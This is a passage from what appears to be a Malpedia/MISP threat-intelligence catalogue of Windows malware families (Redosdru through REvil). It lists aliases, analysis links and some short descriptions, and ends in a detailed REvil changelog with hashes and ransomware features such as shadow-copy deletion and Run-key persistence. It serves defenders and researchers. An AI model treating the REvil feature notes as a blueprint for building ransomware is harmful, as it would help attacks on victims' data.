https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://bartblaze.blogspot.com/2021/06/digital-artists-targeted-in-redline.html
https://www.bitdefender.com/blog/labs/redline-stealer-resurfaces-in-fresh-rig-exploit-kit-campaign/
https://blog.talosintelligence.com/2021/12/magnat-campaigns-use-malvertising-to.html
https://cyber-anubis.github.io/malware%20analysis/redline/
https://unit42.paloaltonetworks.com/bluesky-ransomware/
https://www.bleepingcomputer.com/news/security/fake-windows-11-upgrade-installers-infect-you-with-redline-malware/
https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://www.trendmicro.com/en_us/research/21/i/fake-installers-drop-malware-and-open-doors-for-opportunistic-attackers.html
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/
https://threatresearch.ext.hp.com/redline-stealer-disguised-as-a-windows-11-upgrade/
https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://www.proofpoint.com/us/threat-insight/post/new-redline-stealer-distributed-using-coronavirus-themed-email-campaign

https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://medium.com/s2wblog/deep-analysis-of-redline-stealer-leaked-credential-with-wcf-7b31901da904
https://blog.talosintelligence.com/2022/04/haskers-gang-zingostealer.html
https://blog.rootshell.be/2022/01/20/sans-isc-redline-stealer-delivered-through-ftp/
https://www.proofpoint.com/us/threat-insight/post/ta505-and-others-launch-new-coronavirus-campaigns-now-largest-collection-attack
https://blog.minerva-labs.com/underminer-exploit-kit-the-more-you-check-the-more-evasive-you-become
https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html
https://securityaffairs.co/wordpress/129391/hacking/lapsus-gang-compromised-microsoft-employees-account.html
https://blogs.blackberry.com/en/2021/07/threat-thursday-redline-infostealer
https://asec.ahnlab.com/en/30445/
https://thehackernews.com/2022/03/microsoft-and-okta-confirm-breach-by.html
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://www.qualys.com/docs/whitepapers/qualys-wp-fake-cracked-software-caught-peddling-redline-stealers-v220606.pdf
https://intel471.com/blog/privateloader-malware
https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-they-were-hacked-by-lapsus-extortion-group/
https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns
https://www.esentire.com/blog/redline-stealer-masquerades-as-photo-editing-software
https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service
https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers
https://www.bitdefender.com/files/News/CaseStudies/study/415/Bitdefender-PR-Whitepaper-RedLine-creat6109-en-EN.pdf
https://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/
https://securelist.com/self-spreading-stealer-attacks-gamers-via-youtube/107407/
https://n1ght-w0lf.github.io/tutorials/yara-for-config-extraction/
https://unit42.paloaltonetworks.com/lapsus-group/
https://asec.ahnlab.com/en/35981/
https://blog.morphisec.com/syk-crypter-discord
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://asec.ahnlab.com/ko/25837/

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.minerva-labs.com/redline-stealer-masquerades-as-telegram-installer
https://www.bleepingcomputer.com/news/security/redline-info-stealing-malware-spread-by-folding-home-phishing/
https://blog.minerva-labs.com/become-a-vip-victim-with-new-discord-distributed-malware
https://www.bleepingcomputer.com/news/security/massive-campaign-uses-youtube-to-push-password-stealing-malware/

Redosdru

The tag is: *misp-galaxy:malpedia="Redosdru"*

Redosdru is also known as:

Table 2946. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redosdru
https://securitynews.sonicwall.com/xmlpost/redosdru-v-malware-that-hides-in-encrypted-dll-files-to-avoid-detection-by-firewalls-may-112016/

REDPEPPER

The tag is: *misp-galaxy:malpedia="REDPEPPER"*

REDPEPPER is also known as:

- Adupib

Table 2947. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redpepper
https://twitter.com/ItsReallyNick/status/1136502701301346305

RedRum

Ransomware.

The tag is: *misp-galaxy:malpedia="RedRum"*

RedRum is also known as:

- Grinch
- Thanos

- Tycoon

Table 2948. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redrum
https://id-ransomware.blogspot.com/2019/12/redrum-ransomware.html

REDSALT

The tag is: *misp-galaxy:malpedia="REDSALT"*

REDSALT is also known as:

- Dipsind

Table 2949. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redsalt
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s01-hunting-for-platinum.pdf
https://twitter.com/ItsReallyNick/status/1136502701301346305
https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/twoforonefinal.pdf

REDSHAWL

REDSHAWL is a session hijacking utility that starts a new process as another user currently logged on to the same system via command-line.

The tag is: *misp-galaxy:malpedia="REDSHAWL"*

REDSHAWL is also known as:

Table 2950. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf
https://content.fireeye.com/apt/rpt-apt38

Redyms

The tag is: *misp-galaxy:malpedia="Redyms"*

Redyms is also known as:

Table 2951. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redyms
https://www.welivesecurity.com/2013/02/04/what-do-win32redyms-and-tdl4-have-in-common/

Red Alert

The tag is: *misp-galaxy:malpedia="Red Alert"*

Red Alert is also known as:

Table 2952. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert
https://twitter.com/JaromirHorejsi/status/816237293073797121

Red Gambler

The tag is: *misp-galaxy:malpedia="Red Gambler"*

Red Gambler is also known as:

Table 2953. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler
http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf

reGeorg

The tag is: *misp-galaxy:malpedia="reGeorg"*

reGeorg is also known as:

Table 2954. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg
https://www.secureworks.com/blog/ransomware-deployed-by-adversary
https://www.welivesecurity.com/2022/09/06/worok-big-picture/
https://www.secureworks.com/research/samsam-ransomware-campaigns
https://sensepost.com/discover/tools/reGeorg/

https://github.com/sensepost/reGeorg
https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF

Regin

Regin is a sophisticated malware and hacking toolkit attributed to United States' National Security Agency (NSA) for government spying operations. It was first publicly revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. Regin malware targeted victims in a range of industries, telecom, government, and financial institutions. It was engineered to be modular and over time dozens of modules have been found and attributed to this family. Symantec observed around 100 infections in 10 different countries across a variety of organisations including private companies, government entities, and research institutes.

The tag is: *misp-galaxy:malpedia="Regin"*

Regin is also known as:

Table 2955. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regin
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/regin-top-tier-espionage-tool-15-en.pdf
https://securelist.com/regin-nation-state-ownage-of-gsm-networks/67741/
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://www.youtube.com/watch?v=jeLd-gw2bWo
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf
https://www.epicturla.com/previous-works/hitb2020-voltron-sta
https://www.kaspersky.com/blog/regin-apt-most-sophisticated/6852/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

RegretLocker

The tag is: *misp-galaxy:malpedia="RegretLocker"*

RegretLocker is also known as:

Table 2956. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.regretlocker
https://www.bleepingcomputer.com/news/security/new-regretlocker-ransomware-targets-windows-virtual-machines/
https://twitter.com/malwrhunterteam/status/1321375502179905536
http://chuongdong.com/reverse%20engineering/2020/11/17/RegretLocker/

RekenSom

Ransomware.

The tag is: *misp-galaxy:malpedia="RekenSom"*

RekenSom is also known as:

- GHack Ransomware

Table 2957. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rekensom
https://id-ransomware.blogspot.com/2020/03/rekensom-ransomware.html

win.rekoobe

A Trojan for Winows with the same code structure and functionalities of elf.rekoobe, for Linux environment instead.

The tag is: *misp-galaxy:malpedia="win.rekoobe"*

win.rekoobe is also known as:

- tinyshell.win
- tshd.win

Table 2958. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rekoobew
https://www.mandiant.com/resources/fin13-cybercriminal-mexico
https://yoroi.company/research/shadows-from-the-past-threaten-italian-enterprises/

Rekt Loader

The tag is: *misp-galaxy:malpedia="Rekt Loader"*

Rekt Loader is also known as:

Table 2959. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rektloader
https://blog.prevailion.com/2020/03/the-curious-case-of-criminal-curriculum.html

Rektware

The tag is: *misp-galaxy:malpedia="Rektware"*

Rektware is also known as:

- PRZT Ransomware

Table 2960. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rektware
https://id-ransomware.blogspot.com/2018/09/rektware-ransomware.html

RelicRace

The tag is: *misp-galaxy:malpedia="RelicRace"*

RelicRace is also known as:

Table 2961. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.relic_race
https://cert.gov.ua/article/955924

RemCom

The tag is: *misp-galaxy:malpedia="RemCom"*

RemCom is also known as:

- RemoteCommandExecution

Table 2962. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcom
https://doublepulsar.com/second-zerologon-attacker-seen-exploiting-internet-honeypot-c7fb074451ef
http://www.secureworks.com/research/threat-profiles/gold-franklin

Remcos

Remcos (acronym of Remote Control & Surveillance Software) is a Remote Access Software used to remotely control computers. Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user. Remcos can be used for surveillance and penetration testing purposes, and in some instances has been used in hacking campaigns.

The tag is: *misp-galaxy:malpedia="Remcos"*

Remcos is also known as:

- RemcosRAT
- Remvio
- Socmer

Table 2963. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/
https://www.connectwise.com/resources/formbook-remcos-rat
https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html
https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads
https://secrary.com/ReversingMalware/RemcosRAT/
https://www.youtube.com/watch?v=DIH4SvKuktM
https://isc.sans.edu/forums/diary/Remcos+RAT+Delivered+Through+Double+Compressed+Archive/28354/
https://perception-point.io/behind-the-attack-remcos-rat/
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.malwarebytes.com/threat-analysis/2021/07/remcos-rat-delivered-via-visual-basic/
https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service
https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/
https://blog.checkpoint.com/2019/06/19/sandblast-agent-phishing-germany-campaign-security-hack-ransomware/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf
https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html

https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://blog.talosintelligence.com/2020/04/azorult-brings-friends-to-party.html
https://www.telsy.com/download/4832/
https://www.vmray.com/cyber-security-blog/smart-memory-dumping/
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire
https://www.trendmicro.com/en_ca/research/19/h/analysis-new-remcos-rat-arrives-via-phishing-email.html
https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/
https://www.trendmicro.com/en_us/research/21/k/campaign-abusing-rats-uses-fake-websites.html
https://news.sophos.com/en-us/2020/05/14/raticate/
https://www.splunk.com/en_us/blog/security/detecting-malware-script-loaders-using-remcos-threat-research-release-december-2021.html
https://www.welivesecurity.com/2021/10/06/moon-hack-fake-safemoon-cryptocurrency-app-drops-malware-spy/
https://www.fortinet.com/blog/threat-research/new-variant-of-remcos-rat-observed-in-the-wild.html
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/
https://www.socinvestigation.com/remcos-rat-new-ttps-detection-response/
https://asec.ahnlab.com/en/32376/
https://muha2xmad.github.io/unpacking/remcos/
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine
https://www.esentire.com/blog/remcos-rat
https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf
https://www.bitdefender.com/files/News/CaseStudies/study/390/Bitdefender-PR-Whitepaper-Remcos-creat5080-en-EN-GenericUse.pdf

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt
https://intel471.com/blog/privateloader-malware
https://asec.ahnlab.com/ko/32101/
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.proofpoint.com/us/blog/threat-insight/new-threat-actor-spoofs-philippine-government-covid-19-health-data-widespread
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
http://malware-traffic-analysis.net/2017/12/22/index.html
https://blog.morphisec.com/remcos-trojan-analyzing-attack-chain
https://medium.com/@amgedwageh/analysis-of-an-autoit-script-that-wraps-a-remcos-rat-6b5b66075b87
https://www.anomali.com/blog/threat-actors-use-msbuild-to-deliver-rats-filelessly
https://www.splunk.com/en_us/blog/security/fin7-tools-resurface-in-the-field-splinter-or-copycat.html
https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/
https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/
https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf
https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities
https://dissectingmalwa.re/malicious-ratatouille.html
https://asec.ahnlab.com/ko/25837/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage
https://www.cybereason.com/blog/cybereason-exposes-malware-targeting-us-taxpayers
https://github.com/1d8/analyses/blob/master/RemcosDocDropper.MD
https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cyber-attackers-leverage-russia-ukraine-conflict-in-multiple-spam-campaigns
https://threatresearch.ext.hp.com/malware-campaigns-targeting-african-banking-sector/
https://muha2xmad.github.io/mal-document/remcosdoc/
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/Remcos/Remcos.md

Remexi

The tag is: *misp-galaxy:malpedia="Remexi"*

Remexi is also known as:

- CACHEMONEY

Table 2964. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi
https://www.secureworks.com/research/threat-profiles/cobalt-hickman
https://twitter.com/QW5kcmV3/status/1095833216605401088
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf
https://securelist.com/chafer-used-remexi-malware/89538/
https://bitdefender.com/files/News/CaseStudies/study/332/Bitdefender-Whitepaper-Chafer-creat4491-en-EN-interactive.pdf
https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions
https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

RemoteAdmin

The tag is: *misp-galaxy:malpedia="RemoteAdmin"*

RemoteAdmin is also known as:

Table 2965. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remoteadmin
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=hacktool:win32/remoteadmin&ThreatID=2147731874

RemoteControl

The tag is: *misp-galaxy:malpedia="RemoteControl"*

RemoteControl is also known as:

* remotecontrolclient

Table 2966. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remotecontrolclient
https://github.com/frozleaf/RemoteControl

Remsec

The tag is: *misp-galaxy:malpedia="Remsec"*

Remsec is also known as:

Table 2967. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis.html
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-3.html
https://artemonsecurity.blogspot.com/2016/10/remsec-driver-analysis-part-2.html
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments

Remy

The tag is: *misp-galaxy:malpedia="Remy"*

Remy is also known as:

* WINDSHIELD

Table 2968. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remy
https://threatvector.cylance.com/en_us/home/report-oceanlotus-apt-group-leveraging-steganography.html
https://www.secureworks.com/research/threat-profiles/tin-woodlawn

Rerdom

The tag is: *misp-galaxy:malpedia="Rerdom"*

Rerdom is also known as:

Table 2969. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom
https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf

Retadup

The tag is: *misp-galaxy:malpedia="Retadup"*

Retadup is also known as:

Table 2970. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup
http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/
https://decoded.avast.io/janvojtesek/putting-an-end-to-retadup-a-malicious-worm-that-infected-hundreds-of-thousands/

Retefe (Windows)

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

The tag is: *misp-galaxy:malpedia="Retefe (Windows)"*

Retefe (Windows) is also known as:

- Tsukuba
- Werdlod

Table 2971. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe
https://github.com/Tomasuh/retefe-unpacker
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://vulnerability.ch/2019/05/analysing-retefe-with-sysmon-and-splunk/
https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/
https://www.govcert.admin.ch/blog/35/reversing-retefe
https://github.com/cocaman/retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://www.proofpoint.com/us/threat-insight/post/2019-return-retefe

Retro

The tag is: *misp-galaxy:malpedia="Retro"*

Retro is also known as:

Table 2972. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retro
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://blog.360totalsecurity.com/en/analysis-cve-2018-8174-vbscript-0day-apt-actor-related-office-targeted-attack/
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/
https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html

Revenge RAT

According to Cofense, Revenge RAT is a simple and freely available Remote Access Trojan that automatically gathers system information before allowing threat actors to remotely access system components such as webcams, microphones, and various other utilities.

The tag is: *misp-galaxy:malpedia="Revenge RAT"*

Revenge RAT is also known as:

- Revetrat

Table 2973. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat

https://blog.talosintelligence.com/2019/08/rat-ratatouille-revrat-orcus.html
https://isc.sans.edu/diary/rss/22590
https://github.com/itaymigdal/malware-analysis-writeups/blob/main/RevengeRAT/RevengeRAT.md
https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://www.uptycs.com/blog/revenge-rat-targeting-users-in-south-america
https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries
https://perception-point.io/revenge-rat-back-from-microsoft-excel-macros/
https://blog.morphisec.com/ahk-rat-loader-leveraged-in-unique-delivery-campaigns
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
https://securelist.com/revengehotels/95229/
https://blog.reversinglabs.com/blog/rats-in-the-library
https://mp.weixin.qq.com/s/gWOIRNPLVqX761LW8x-S5g
https://threatrecon.nshc.net/2019/09/19/sectorh01-continues-abusing-web-services/
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated
https://yoroi.company/research/the-evolution-of-aggah-from-roma225-to-the-rg-campaign/
https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://blogs.360.cn/post/APT-C-44.html
https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel
https://blog.reversinglabs.com/blog/dotnet-loaders
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html

ReverseRAT

The tag is: *misp-galaxy:malpedia="ReverseRAT"*

ReverseRAT is also known as:

Table 2974. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reverse_rat
https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388

https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf
https://blog.lumen.com/suspected-pakistani-actor-compromises-indian-power-company-with-new-reverserat/
https://blog.lumen.com/reverserat-reemerges-with-a-nightfury-new-campaign-and-new-developments-same-familiar-side-actor/
https://www.seqrite.com/documents/en/white-papers/Whitepaper-OperationSideCopy.pdf

Reveton

Ransomware.

The tag is: *misp-galaxy:malpedia="Reveton"*

Reveton is also known as:

Table 2975. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reveton
https://krebsonsecurity.com/2012/08/inside-a-reveton-ransomware-operation/

REvil (Windows)

REvil Beta MD5: bed6fc04aeb785815744706239a1f243 SHA1: 3d0649b5f76dbbff9f86b926afbd18ae028946bf SHA256: 3641b09bf6eae22579d4fd5aae420476a134f5948966944189a70afd8032cb45 * Privilege escalation via CVE-2018-8453 (64-bit only) * Rerun with RunAs to elevate privileges * Implements a requirement that if "exp" is set, privilege escalation must be successful for full execution to occur * Implements target whitelisting using GetKetboardLayoutList * Contains debug console logging functionality * Defines the REvil registry root key as SOFTWARE\!test * Includes two variable placeholders in the ransom note: UID & KEY * Terminates processes specified in the "prc" configuration key prior to encryption * Deletes shadow copies and disables recovery * Wipes contents of folders specified in the "wfld" configuration key prior to encryption * Encrypts all non-whitelisted files on fixed drives * Encrypts all non-whitelisted files on network mapped drives if it is running with System-level privileges or can impersonate the security context of explorer.exe * Partially implements a background image setting to display a basic "Image text" message * Sends encrypted system data to a C2 domain via an HTTPS POST request (URI path building is not implemented.)

```
REvil 1.00
MD5: 65aa793c000762174b2f86077bdafaea
SHA1: 95a21e764ad0c98ea3d034d293aee5511e7c8457
SHA256: f0c60f62ef9ffc044d0b4aeb8cc26b971236f24a2611cb1be09ff4845c3841bc
* Adds 32-bit implementation of CVE-2018-8453 exploit
* Removes console debug logging
* Changes the REvil registry root key to SOFTWARE\recfg
```

```
* Removes the System/Impersonation success requirement for encrypting network mapped
drives
* Adds a "wipe" key to the configuration for optional folder wiping
* Fully implements the background image setting and leverages values defined in the
"img" configuration key
* Adds an EXT variable placeholder to the ransom note to support UID, KEY, and EXT
* Implements URI path building so encrypted system data is sent to a C2 pseudo-random
URL
* Fixes the function that returns the victim's username so the correct value is placed
in the stats JSON data
```

REvil 1.01 MD5: 2abff29b4d87f30f011874b6e98959e9 SHA1: 9d1b61b1cba411ee6d4664ba2561fa59cdb0732c SHA256: a88e2857a2f3922b44247316642f08ba8665185297e3cd958bbd22a83f380feb * Removes the exp/privilege escalation requirement for full execution and encrypts data regardless of privilege level * Makes encryption of network mapped drives optional by adding the "-nolan" argument

```
REvil 1.02
MD5: 4af953b20f3a1f165e7cf31d6156c035
SHA1: b859de5ffcb90e4ca8e304d81a4f81e8785bb299
SHA256: 89d80016ff4c6600e8dd8cfad1fa6912af4d21c5457b4e9866d1796939b48dc4
* Enhances whitelisting validation by adding inspection of GetUserDefaultUILanguage
and GetSystemDefaultUILanguage
* Partially implements "lock file" logic by generating a lock filename based on the
first four bytes of the Base64-decoded pk key, appending a .lock file extension, and
adding the filename to the list of whitelisted files in the REvil configuration (It
does not appear that this value is referenced after it is created and stored in
memory. There is no evidence that a lock file is dropped to disk.)
* Enhances folder whitelisting logic that take special considerations if the folder is
associated with "program files" directories
* Hard-codes whitelisting of all direct content within the Program Files or Program
Files x86 directories
* Hard-codes whitelisting of "sql" subfolders within program files
* Encrypts program files sub-folders that does not contain "sql" in the path
* Compares other folders to the list of whitelisted folders specified in the REvil
configuration to determine if they are whitelisted
* Encodes stored strings used for URI building within the binary and decodes them in
memory right before use
* Introduces a REvil registry root key "sub_key" registry value containing the
attacker's public key
```

REvil 1.03 MD5: 3cae02306a95564b1fff4ea45a7dfc00 SHA1: 0ce2cae5287a64138d273007b34933362901783d SHA256: 78fa32f179224c46ae81252c841e75ee4e80b57e6b026d0a05bb07d34ec37bbf * Removes lock file logic that was partially implemented in 1.02 * Leverages WMI to continuously monitor for and kill newly launched processes whose names are listed in the prc configuration key (Previous versions performed this action once.) * Encodes stored shellcode * Adds the -path argument: * Does not wipe folders (even if wipe == true) * Does not set desktop background * Does not contact the C2 server (even if net == true) * Encrypts files in the specified folder and drops the ransom note * Changes the REvil registry root key to SOFTWARE\QtProject\OrganizationDefaults * Changes registry key values from -→ to: * sub_key -→ pvg * pk_key -→ sxsP * sk_key -→ BDDC8 * 0_key -→ f7gVD7 * rnd_ext -→ Xu7Nnkd * stat -→ sMMnxpgk

```
REvil 1.04
MD5: 6e3efb83299d800edf1624ecbc0665e7
SHA1: 0bd22f204c5373f1a22d9a02c59f69f354a2cc0d
SHA256: 2ca64feaaf5ab6cf96677fbc2bc0e1995b3bc93472d7af884139aa757240e3f6
* Leverages PowerShell and WMI to delete shadow copies if the victim's operating
system is newer than Windows XP (For Windows XP or older, it uses the original command
that was executed in all previous REvil versions.)
* Removes the folder wipe capability
* Changes the REvil registry root key to SOFTWARE\GitForWindows
* Changes registry key values from --> to:
  * pvg --> QPM
  * sxsP --> cMtS
  * BDDC8 --> WGg7j
  * f7gVD7 --> zbhs8h
  * Xu7Nnkd --> H85TP10
  * sMMnxpgk --> GCZg2PXD
```

REvil v1.05 MD5: cfefcc2edc5c54c74b76e7d1d29e69b2 SHA1: 7423c57db390def08154b77e2b5e043d92d320c7 SHA256: e430479d1ca03a1bc5414e28f6cdbb301939c4c95547492cdbe27b0a123344ea * Add new 'arn' configuration key that contains a boolean true/false value that controls whether or not to implement persistence. * Implements persistence functionality via registry Run key. Data for value is set to the full path and filename of the currently running executable. The executable is never moved into any 'working directory' such as %AppData% or %TEMP% as part of the persistence setup. The Reg Value used is the hardcoded value of 'lNOWZyAWVv' : * SOFTWARE\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv * Before exiting, REvil sets up its malicious executable to be deleted upon reboot by issuing a call to MoveFileExW and setting the destination to NULL and the flags to 4 (MOVEFILE_DELAY_UNTIL_REBOOT). This breaks persistence however as the target executable specified in the Run key will no longer exist once this is done. * Changes registry key values from -→ to: * QPM 